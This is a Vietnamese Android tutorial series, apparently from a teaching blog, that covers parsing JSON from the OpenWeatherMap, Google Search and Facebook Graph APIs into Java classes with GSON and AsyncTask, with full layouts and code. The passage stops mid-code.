Bài 64: Xây dựng phần mềm dự báo thời tiết


Tui muốn tổng hợp các bài tập về Google Map, về Đa tiến trình, về JSon, Webservice…. để xây dựng phần mềm dự báo thời tiết đơn giản như hình dưới đây:

android_64_0– Phần mềm sẽ có 4 chức năng như mô tả ở trên, để làm được bài này thì các bạn cần phải có các kiến thức sau:

+ Kiến thức về lập trình đa tiến trình:

Bài tập 33: Sử dụng ContentProvider trong Android

Bài tập 34: đa tiến trình trong Android (Multi-Threading)

Bài 35 : Vẽ Button lúc Runtime, dùng Using Message của Handler class

Bài 36: Update ListView At runtime by Handler class using post

Bài 37: Xử lý đa tiến trình bằng AsyncTask

Bài 38: Lấy kết quả trả về sau khi thực hiện đa tiến trình bằng AsyncTask

Bài 39: Kết hợp AsyncTask và Handler class

+ Kiến thức về lập trình Google Map:

Bài 53: Google Maps Android API – phần 1

Bài 54: Google Maps Android API – phần 2

Bài 55: Google Maps Android API – phần 3

Bài 56: Google Maps Android API – phần 4

+Kiến thức về Webservice với định dạng JSON hoặc SOAP (XML):

Bài 43: Android vs .net Web Services

Bài 44: Cách tạo Webservice

Bài 45: Sử dụng .Net Webservice trong C#

Bài 46: Sử dụng .Net Webservice trong Android

Bài 51: Xử lý JSON trong Android

Bài 52: Tạo định dạng JSON trong C# asp.net service vs Android

+Kiến thức về chuyển đổi JSON qua Java class:

Bài 61: Cách đưa định dạng JSon về Java class bằng GSon

Bài 62: Cách đưa định dạng JSon về Java class bằng GSon (tiếp 1)

Bài 63: Cách đưa định dạng JSon về Java class bằng GSon (tiếp 2)

Đồng thời nghiên cứu thêm API Open Weather Map(Hỗ trợ xem thời tiết hầu hết mọi nơi trên thế giới, được đánh giá là một trong những API cũng cấp webservice về dự báo thời tiết tốt nhất hiện nay)

Ví dụ 0: Xem thời tiết ở Thành Phố Hồ Chí Minh:

http://api.openweathermap.org/data/2.5/weather?q=hồ chí minh

Ví dụ 1: Xem thời tiết ở Đà Lạt

http://api.openweathermap.org/data/2.5/forecast/daily?q=đà lạt

Ví dụ 2: Xem thời tiết ở Đà Lạt sau 15 ngày nữa thì như thế nào:

http://api.openweathermap.org/data/2.5/forecast/daily?q=đà lạt&cnt=15

Ví dụ 3: Xem thời tiết ở 1 Kinh độ và Vĩ độ bất kỳ (ứng dụng hiển thị trên Google Map)

http://api.openweathermap.org/data/2.5/forecast/daily?lat=35&lon=139&cnt=10&mode=json

Chi tiết hướng dẫn sử dụng: http://openweathermap.org/api

Các bạn tranh thủ ôn lại các bài trên sau đó Tui sẽ trình bày chi tiết từng bước cách thực hiện dự án này.

Trước khi bắt tay vào lập trình bài này thì ta xem sơ qua cấu trúc JSON khi kiểm tra thời tiết của một địa điểm nào đó, ví dụ ở Thành Phố Hồ Chí Minh:

http://api.openweathermap.org/data/2.5/weather?q=hồ chí minh

hay dùng kinh độ vĩ độ (để áp dụng cho chức năng đầu tiên là xem thời tiết tại địa điểm hiện tại, theo địa chỉ bất kỳ, hay xem trên Google Map):

http://api.openweathermap.org/data/2.5/weather?lat=10.778182&lon=106.665504

Ta được kết quả tương tự như sau:

android_64_1Việc phân tích cấu trúc JSON để viết Java class các bạn đã được học kỹ ở các bài trước rồi, nên bài này Tui không nói nữa mà Tui chỉ show Mô hình Java class đã viết ra như sau (Bạn tự viết):

android_64_2– Ta sẽ dùng GSon để chuyển JSON qua Java class, từ đó dễ dàng cho việc sử dụng lấy thông tin dự báo thời tiết.

– Còn dưới đây là cấu trúc JSON cho trường hợp dự báo các ngày khác (Daily):

Ví dụ:

http://api.openweathermap.org/data/2.5/forecast/daily?lat=10.778182&lon=106.665504&cnt=10

Hay:

http://api.openweathermap.org/data/2.5/forecast/daily?q=hồ chí minh&cnt=10

Thì ta có kết quả với cấu trúc JSON khá khác cho với trường hợp trên như sau:

android_64_3–> Bạn tự phân tích cấu trúc ở trên để viết Java Class cho trường hợp Daily (chức năng số 3).

Tui sẽ viết hướng dẫn lập trình sau.

 

Bài 63: Cách đưa định dạng JSon về Java class bằng GSon (tiếp 2)


bài 61bài 62 các bạn đã biết cách chuyển định dạng JSon qua Java class, trong bài này Tui sẽ hướng dẫn các bạn cách chuyển đổi phức tạp nhất và cũng là cuối cùng.

Tui sẽ viết phần mềm truy tìm thông tin trên Internet thông qua Google Search API (kết quả trả về của API này là một định dạng JSon phức tạp: Đối tượng chứa đối tượng, đối tượng chứa tập các đối tượng). Sau đó các bạn dựa vào project này để tiếp tục phát triển nó lên để sử dụng trong thực tế luôn.

Tui Demo giao diện sử dụng như sau:

android_63_5– Hình bên trái dùng để hiển thị kết quả của Google Search API gửi về (gửi về thông qua JSON)

– Hình bên phải là lúc người sử dụng chọn bất kỳ kết quả nào thì nó mở website đó lên để đọc thông tin chi tiết.

Trước tiên bạn cần hiểu cách sử dụng công cụ Google Search API (Được xử lý bằng Ajax và trả về JSON):

————————————————————————-

Cú pháp:

http://ajax.googleapis.com/ajax/services/search/web?v=1.0 &q={thông tin cần tìm}&start={vị trí bắt đầu lọc}&rsz={block lọc}

————————————————————————-

 q: là thông tin bạn cần tìm kiếm trên mạng

start: là vị trí bắt đầu lọc

rsz: là block lọc (bạn chỉ chọn 2 loại block là 4 hoặc 8; tức là mỗi lần lấy về 4 hoặc 8 kết quả),

Như vậy nếu bạn muốn truy vấn thật nhiều thông tin thì bạn nên chọn Bội số của rsz rồi cho vòng lặp chạy theo bước start=start+rsz

Bạn thử đưa ra công thức vòng lặp với yêu cầu của Tui: Hãy trả về 24 dòng kết quả tìm kiếm thông tin “Hang Sơn Đoòng“? Vậy bạn phải viết vòng lặp như thế nào?

Sau đây ta xem ví dụ thứ 1:

http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=hang sơn đoòng:

Nếu chỉ có q bên trên thì kết quả mặc định là block 4 như kết quả dưới đây:

android_63_0Sau đây ta xem ví dụ thứ 2:

http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=hang sơn đoòng&start=0&rsz=8

Nếu đủ 3 thông số q,start,rsz bên trên thì kết quả mặc định là rsz  như kết quả dưới đây (tức là 8 dòng):

android_63_6– Bạn thấy đấy, đây là một kết quả JSON khá phức tạp, nếu không nói là nhìn thấy bỏ của chạy lấy người luôn.

– Bây giờ Ta tiến hành phân tích một số thông tin quan trong trong cấu trúc JSON này nhé: android_63_1– Bạn thấy Tui tô đen dữ liệu có nằm trong ngoặc vuông [], định dạng nằm trong [] chính là mảng hay danh sách.

– Tiếp theo Tui chọn 1 đối tượng (tức là được nằm trong cặp ngoặc nhọn thuộc [] này:

android_63_2Tương tự như vậy bạn có thể quan sát các thông số khác để biết đâu là đối tượng, đâu là danh sách đối tượng.

– TUY NHIÊN trong bài này tui chỉ lấy 2 thông số chính từ kết quả trả về đó là titleNoFormatting url.

Tới đây thì bạn phải biết cách tạo danh sách các class như sau: android_63_7– Bạn tạo một Project tên là “GoogleSearchTool“, có cấu trúc như sau:

android_63_9– Giải thích sơ sơ:

+ Các lớp nằm trong model là lớp định dạng lấy thông tin từ JSon: GoogleData,ResponseData,Result

+ Lớp GoogleSearchAPI dùng để tải thông tin từ Google Search API

+ Lớp MyArrayAdapter để hiển thị custom control trên ListView.

+ MainActivity là Activity dùng cho người sử dụng tương tác phần mềm, ở trong này có một class GoogleSearchThread để tiến hành dùng kỹ thuật đa tiến trình để gọi GoogleSearchAPI  thực thi.

+ Layout: Có custom_row_layout để hiển thị custom cho từng dòng trong ListView.

– Chú ý vì có kết nối internet nên bạn phải cấp quyền sử dụng trong AndroidManifest nhé.

– Ta bắt đầu tiến hành Coding như sau:

1) thiết kế giao diện cho ứng dụng:android_63_10– Bạn có thể nhìn vào Component Tree để thiết kế giao diện cho ứng dụng, tuy nhiên có thể copy XML Layout sau:

activity_main.xml:


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
    android:layout_height="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    android:orientation="vertical"
    android:paddingBottom="@dimen/activity_vertical_margin" tools:context=".MainActivity">

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="Nhập chuỗi cần tìm:"
        android:id="@+id/textView" />

    <EditText
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:id="@+id/txtQuery"
       />

    <Button
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Tìm kiếm"
        android:id="@+id/btnTimKiem"
        android:layout_gravity="center_horizontal" />

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="Kết quả tìm được:"
        android:id="@+id/textView2"
        android:layout_gravity="center_horizontal"
        android:background="#000040"
        android:textColor="#FFFFFF" />

    <ListView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:id="@+id/lvResult"
        android:layout_gravity="center_horizontal" />
</LinearLayout>

 

 

– Tiếp theo thiết kê giao diện cho Custom row:

custom_row_layout.xml:


<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent" android:layout_height="match_parent"
    android:orientation="vertical"
    >

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:id="@+id/txtTitle"
        android:hint="Title ở đây" />

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:id="@+id/txtLink"
        android:layout_gravity="center_horizontal"
        android:hint="Link ở đây"
        android:textColor="#000040" />
</LinearLayout>

 

 

– Custom row đơn giản chi có 2 control, dòng 1 là tiêu đề kết quả, dòng 2 là link xem chi tiết.

2) Cấu hình cấp quyền Internet cho ứng dụng trong AndroidManifest.xml:


<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.tranduythanh.googlesearchtool" >
    <uses-permission android:name="android.permission.INTERNET"/>
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

 

 

3) Tiến hành coding cho các lớp :

-GoogleSearchAPI:


package com.tranduythanh.utils;

import com.google.gson.Gson;
import com.tranduythanh.model.GoogleData;
import com.tranduythanh.model.Result;

import java.io.IOException;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;

/**
 * Created by drthanh on 03/04/2015.
 */
public class GoogleSearchAPI {
    /**
     * Hàm này dùng để tìm kiếm một từ khóa bất kỳ trên internet thông qua Google Search API
     * @param query - từ khóa muốn tìm kiếm
     * @param charset - UTF-8
     * @param start - lấy từ 0...n, mỗi lần Search lấy 4 hoặc 8 block kết quả
     * @param block - truyền 4 hoặc 8
     * @return trả về GoogleData
     */
    public static GoogleData search(String query,String charset,int start,int block)
    {
        try {
            String address = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=";

            URL url;

            url = new URL(address + URLEncoder.encode(query, charset)+"&start="+start+"&rsz="+block);

            InputStreamReader reader = new InputStreamReader(url.openStream(), charset);
            GoogleData results = new Gson().fromJson(reader, GoogleData.class);

            return results;

        } catch (MalformedURLException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (UnsupportedEncodingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (NumberFormatException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        return null;
    }
}

 

Lớp Result:


package com.tranduythanh.model;

public class Result {
private String url;
private String titleNoFormatting;
public String getUrl()
{
return url;
}
public String getTitleNoFormatting()
{
return titleNoFormatting;
}
public void setUrl(String url)
{
this.url = url;
}
public void setTitleNoFormatting(String titleNoFormatting)
{
this.titleNoFormatting = titleNoFormatting;
}
}

Lớp ResponseData:


package com.tranduythanh.model;

import java.util.List;

public class ResponseData {
private List<Result> results;
public List<Result> getResults()
{
return results;
}
public void setResults(List<Result> results)
{
this.results = results;
}
}

Trong lớp ResponseData nó sẽ có một danh sách các Result giống như trong định dạng JSon.

Lớp GoogleData:


package com.tranduythanh.model;

public class GoogleData {
private ResponseData responseData;
public ResponseData getResponseData()
{
return responseData;
}
public void setResponseData(ResponseData responseData)
{
this.responseData = responseData;
}
}

– Như vậy ta đã đáp ứng được mô hình Java class để lấy thông tin từ định dạng JSOn.

– Coding lớp MyArrayAdapter:

Lớp này dùng để chỉnh sửa cách hiển thị dữ liệu lên ListView theo như mô tả ở trên,

Nếu bạn chưa hiểu về customlayout thì bắt buộc phải  đọc các bài này trước:

https://duythanhcse.wordpress.com/2013/04/08/bai-tap-14-thuc-hanh-ve-custom-layout-cho-listview-trong-android/

https://duythanhcse.wordpress.com/2013/04/20/bai-tap-25-tiep-tuc-cung-co-kien-thuc-intent-vi-du-tong-hop-quan-ly-nhan-vien/


package com.tranduythanh.googlesearchtool;

import android.app.Activity;
import android.content.Context;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.TextView;

import com.tranduythanh.model.Result;

import java.util.List;

/**
* Created by drthanh on 03/04/2015.
*/
public class MyArrayAdapter extends ArrayAdapter<Result>
{
Activity context;
int resource;
List<Result>objects;
public MyArrayAdapter(Activity context, int resource, List<Result> objects) {
super(context, resource, objects);
this.context=context;
this.resource=resource;
this.objects=objects;
}

@Override
public View getView(int position, View convertView, ViewGroup parent) {
LayoutInflater inflater =this.context.getLayoutInflater();
View customRow= inflater.inflate(this.resource,null);
TextView txtTitle= (TextView) customRow.findViewById(R.id.txtTitle);
TextView txtLink= (TextView) customRow.findViewById(R.id.txtLink);
Result result=this.objects.get(position);
txtTitle.setText(result.getTitleNoFormatting());
txtLink.setText(result.getUrl());

if(position%2==0)
txtTitle.setTextColor(this.context.getResources().getColor(android.R.color.holo_blue_dark));
else
txtTitle.setTextColor(this.context.getResources().getColor(android.R.color.holo_red_dark));
return customRow;
}
}

– Cuối cùng là lớp MainActivity:

<pre>
package com.tranduythanh.googlesearchtool;

import android.content.Intent;
import android.net.Uri;
import android.os.AsyncTask;
import android.os.SystemClock;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.AdapterView;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ListView;
import android.widget.Toast;

import com.google.gson.Gson;
import com.tranduythanh.model.GoogleData;
import com.tranduythanh.model.Result;
import com.tranduythanh.utils.GoogleSearchAPI;

import java.io.IOException;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.List;

public class MainActivity extends ActionBarActivity {

EditText txtQuery;
Button btnSearch;

ListView lvResult;
List<Result>arrData;
MyArrayAdapter adapter;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
addControls();
addEvents();
}

private void addControls() {
txtQuery= (EditText) findViewById(R.id.txtQuery);
txtQuery.setText("Hang sơn Đòng");
btnSearch= (Button) findViewById(R.id.btnTimKiem);
lvResult= (ListView) findViewById(R.id.lvResult);

arrData=new ArrayList<>();
adapter=new MyArrayAdapter(MainActivity.this,R.layout.custom_row_layout,arrData);
lvResult.setAdapter(adapter);
}
private void addEvents() {
btnSearch.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
processSearch();
}
});

lvResult.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
//hiển thị LInk đang chọn trên ListView:
Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(arrData.get(position).getUrl()));
startActivity(browserIntent);
}
});
}

private void processSearch() {
arrData.clear();
//Gọi đa tiến trình
GoogleSearchThread task=new GoogleSearchThread();
task.execute(txtQuery.getText()+"");
}

/**
* lớp cho phép chạy đa tiến trình
*/
private class GoogleSearchThread extends AsyncTask<String,Result,List<Result>>
{
@Override
protected void onPreExecute() {
super.onPreExecute();
}
@Override
protected List<Result> doInBackground(String... params) {
String query=params[0];
GoogleData data= GoogleSearchAPI.search(query,"UTF-8",0,8);
if(data.getResponseData()==null)
return null;
for(Result r: data.getResponseData().getResults())
{
//gửi kết quả qua onProgressUpdate để cập nhật giao diện:
publishProgress(r);
SystemClock.sleep(1000);
}
return data.getResponseData().getResults();
}

@Override
protected void onProgressUpdate(Result... values) {
super.onProgressUpdate(values);
arrData.add(values[0]);
adapter.notifyDataSetChanged();
}

@Override
protected void onPostExecute(List<Result> results) {
super.onPostExecute(results);
Toast.makeText(MainActivity.this,"Đã tìm kiếm được "+results.size()+" kết quả",Toast.LENGTH_LONG).show();
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();

//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}

return super.onOptionsItemSelected(item);
}
}

– Như vậy bạn đã làm xong trường hợp định dạng JSon phức tạp, từ đây về sau có những dự án liên quan tới JSON thì bạn có thể làm theo cách này, chỉ cần đọc phân tích đúng thông tin trong JSON để từ đó tạo class Java phù hợp là OK.

-Chú ý là phải tham chiếu tới thư viện gson-2.2.4.jar nhé.

– Bài tập kế tiếp Tui sẽ viết một phần mềm dựa trên JSON để Dự Báo Thời Tiết (thời tiết thực tế ở một địa điểm bất kỳ nào đó trên thế giới).

-Bạn có thể coding của bài này ở đây: http://www.mediafire.com/download/bew37pegs3n0z85/GoogleSearchTool.rar

– Chúc các bạn thành công!

Bài 62: Cách đưa định dạng JSon về Java class bằng GSon (tiếp 1)


bài tập 61 các bạn đã được học qua cách đưa định dạng JSon cơ bản qua Java class, trong bài này Tui sẽ hướng dẫn các bạn cách đưa 1 định dạng JSon phức tạp qua Java class, chẳng hạn như cấu trúc sau http://graph.facebook.com/taylorSwift :

android_62_0Bạn quan sát ở trên thì tổng cộng có 3 cặp ngoặc nhọn.

Ngoặc nhọn ngoài cùng chính là lớp FaceBook mà ta đã tạo, 2 cặp nhọn bên trong là 2 thuộc tính có kiểu đối tượng của lớp FaceBook. Như vậy ta phải tạo thêm 2 class bên trong, thông thường ta sẽ tạo lớp với quy tắc là giống tên thuộc tính có kiểu đối tượng nhưng các Ký Tự đầu của mỗi từ viết Hoa. Ví dụ:

android_62_1Ở trên là ta tạo 1 class tên Cover, nhớ là C viết hoa. Còn thuộc tính cover thì nằm trong class FaceBook có kiểu Cover.

Phân tích cấu trúc JSon của Taylor Swift, giả sử trong lớp FaceBook Tui chỉ quan tâm các thuộc tính sau:

id (có kiểu chuỗi)

username (có kiểu chuỗi)

name (có kiểu chuỗi)

gender(không có trong JSon của Taylor Swift)

likes (có kiểu số)

cover (có kiểu Cover)

+ Phân tích Cover giả sử Tui Tui chỉ quan tâm tới cover_id, source (là hình ảnh đại diện):

cover_id

source

ví dụ bạn copy toàn bộ giá trị của source sẽ có hình sau(ta sẽ coding để hiển thị lên Client android):

android_62_2–> Tương tự như vậy bạn có thể suy luận nếu như có sự chồng lắp (lồng ghép) các cặp ngoặc nhọn để biết cách tạo class.

*Bây giờ bạn mở Project của bài 61 lên rồi chỉnh sửa coding:

android_62_3Bạn tiến hành dùng công cụ để tạo get/set giống như đã hướng dẫn ở bài trước, ta được kết quả như sau:


package com.tranduythanh.model;

/**
* Created by drthanh on 03/04/2015.
*/
public class Cover {
private String cover_id;
private String source;

public String getCover_id() {
return cover_id;
}

public void setCover_id(String cover_id) {
this.cover_id = cover_id;
}

public String getSource() {
return source;
}

public void setSource(String source) {
this.source = source;
}
}

– Kế đến chỉnh sửa class FaceBook giống như mô tả:

android_62_4Ở trên Tui bổ sung thêm 2 thuộc tính là likes và cover (chú ý là phải copy thuộc tính từ Json nhé). Tiến hành tạo get/set:


package com.tranduythanh.model;

/**
* Created by drthanh on 02/04/2015.
*/
public class FaceBook {
private String id;
private String name;
private String gender;
private String username;
private long likes;
private Cover cover;

public String getId() {
return id;
}

public void setId(String id) {
this.id = id;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public String getGender() {
return gender;
}

public void setGender(String gender) {
this.gender = gender;
}

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}

public long getLikes() {
return likes;
}

public void setLikes(long likes) {
this.likes = likes;
}

public Cover getCover() {
return cover;
}

public void setCover(Cover cover) {
this.cover = cover;
}
}

– Ta có thể xem mô hình mối quan hệ giữa 2 lớp này như sau:

android_62_14– Tiếp theo hiệu chỉnh Layout của ứng dụng để hiển thị thêm thông tin likescover.

android_62_5Ở trên Tui bổ sung thêm Số lượng like vào giao diện + ScrollView trong trường hợp màn hình nhỏ thì nó có thể trượt xuống để xem hết thông tin.

XML layout của màn hình được sửa lại như sau:


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
android:layout_height="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
android:paddingBottom="@dimen/activity_vertical_margin" tools:context=".MainActivity"
android:orientation="vertical">
<ScrollView
android:layout_width="fill_parent"
android:layout_height="wrap_content">
<LinearLayout
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Link Facebook:"
android:id="@+id/textView"
/>

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtLinkFacebook" />

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Tải về"
android:id="@+id/btnDownload"
android:layout_gravity="center_horizontal" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Id:"
android:id="@+id/textView2" />

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtId" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Username:"
android:id="@+id/textView3" />

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtUserName" />

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Name:"
android:id="@+id/textView4" />

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtName" />

<RadioGroup
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_gravity="center_horizontal">

<RadioButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Nam"
android:id="@+id/radMale" />

<RadioButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Nữ"
android:id="@+id/radFemale"
android:checked="true" />
</RadioGroup>

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="số lượng like:"
android:id="@+id/textView5" />

<EditText
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/txtLike" />

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Xem hình"
android:id="@+id/btnShowImage"
android:layout_gravity="center_horizontal" />
</LinearLayout>
</ScrollView>
</LinearLayout>

-Như vậy trong MainActivity ta sẽ bổ sung thêm đối tượng EditText like để hiển thị số lượng like:

EditText txtLike;

public void addControls()
    {
      //…
        txtLike= (EditText) findViewById(R.id.txtLike);
    }

protected void onProgressUpdate(FaceBook… values) {
            super.onProgressUpdate(values);
            //…….
            txtLike.setText(fb.getLikes()+””);
        }

-Đồng thời bổ sung thêm biến lưu trữ source để xem hình ảnh:

String source=””;

protected void onProgressUpdate(FaceBook… values) {
super.onProgressUpdate(values);
//………………..
txtLike.setText(fb.getLikes()+””);
     if(fb.getCover()!=null)
                source=fb.getCover().getSource();
}

– Để hiển thị hình ảnh ta cần có 1 Activity mới (dùng đa tiến trình để hiển thị hình ảnh), ta cần viết sự kiện cho nút Xem hình ảnh trong MainActivity (dùng Intent để truyền source qua màn hình xem hình ảnh).

Các bước làm như sau:

Bước 1: Bấm chuột phải vào Package/ chọn New/ chọn Activity/ chọn Blank Activity:

android_62_6– Ở màn hình mới này ta đặt tên XemHinhActivity:

android_62_7Bấm Finish để xác nhận tạo Activity mới, ta sẽ thấy nó xuất hiện như dưới đây:

android_62_8Kế đến ta vào AndroidManifest để coi thử activity XemHinhActivity có được tự động đưa vào đây hay chưa (nếu chưa đưa vào thì chạy lên sẽ báo lỗi, vì android yêu cầu bất kỳ Activity nào muốn thực thi thì phải được khai báo trong Manifest).:

android_62_9Bước 2: Tiếp theo ta hiệu chỉnh Layout XemHinhActivity để hiển thị hình ảnh, XML layout đơn giản như sau:


<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
android:layout_height="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
android:paddingBottom="@dimen/activity_vertical_margin"
tools:context="com.tranduythanh.facebooktool.XemHinhActivity">

<ImageView
android:id="@+id/imgShow"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:src="@mipmap/ic_launcher" />

</RelativeLayout>

-Bước 3: Tiến hành tạo một ImageLoadTask kế thừa từ AsyncTask để hiển thị hình ảnh lên giao diện bằng đa tiến trình:

android_62_11Source code ImageLoadTask:


package com.tranduythanh.facebooktool;

import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.AsyncTask;
import android.widget.ImageView;

import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;

/**
* Created by drthanh on 03/04/2015.
*/
public class ImageLoadTask extends AsyncTask&lt;Void, Void, Bitmap&gt; {

//Link url hình ảnh bất kỳ
private String url;
//Control ImageView bất kỳ
private ImageView imageView;

public ImageLoadTask(String url, ImageView imageView) {
this.url = url;
this.imageView = imageView;
}

@Override
protected Bitmap doInBackground(Void... params) {
try {
//Tiến hành tạo đối tượng URL
URL urlConnection = new URL(url);
//Mở kết nối
HttpURLConnection connection = (HttpURLConnection) urlConnection
.openConnection();
connection.setDoInput(true);
connection.connect();
//Đọc dữ liệu
InputStream input = connection.getInputStream();
//Tiến hành convert qua hình ảnh
Bitmap myBitmap = BitmapFactory.decodeStream(input);
return myBitmap;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}

@Override
protected void onPostExecute(Bitmap result) {
super.onPostExecute(result);
//lấy kết quả hiển thị lên giao diện:
imageView.setImageBitmap(result);
}

}

-Bước 4: Tiến hành coding cho XemHinhActivity:


package com.tranduythanh.facebooktool;

import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.AsyncTask;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.ImageView;

import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;

public class XemHinhActivity extends ActionBarActivity {
ImageView imgView;
String source=&quot;&quot;;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_xem_hinh);
imgView=(ImageView) findViewById(R.id.imgShow);
//Lấy Intent từ MainActivity
Intent in= getIntent();
//Lấy link hình ảnh ra được truyền từ MainActivity
source=in.getStringExtra(&quot;URL_IMG&quot;);
}

@Override
protected void onResume() {
super.onResume();
new ImageLoadTask(source, imgView).execute();
}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_xem_hinh, menu);
return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();

//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}

return super.onOptionsItemSelected(item);
}

}

– Bước 5: Hiệu chỉnh MainActivity để truyền source qua XemHinhActivity để hiển thị lên giao diện:

public void addEvents()
{
btnShowImage.setOnClickListener(new View.OnClickListener() {

@Override
public void onClick(View v) {
Intent in=new Intent
(MainActivity.this, XemHinhActivity.class);
in.putExtra(“URL_IMG”, source);
startActivity(in);
}
});
}

Cuối cùng ta có coding của MainActivity như sau:


package com.tranduythanh.facebooktool;

import android.content.Intent;
import android.os.AsyncTask;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.RadioButton;
import android.widget.Toast;

import com.google.gson.Gson;
import com.tranduythanh.model.FaceBook;

import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URL;

public class MainActivity extends ActionBarActivity {

EditText txtLinkFacebook,txtId,txtUserName,txtName,txtLike;
RadioButton radMale,radFemale;
Button btnDownloadInfor,btnShowImage;
String source=&quot;&quot;;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//gọi addControl trước
addControls();
//gọi addevent sau
addEvents();
}

/**
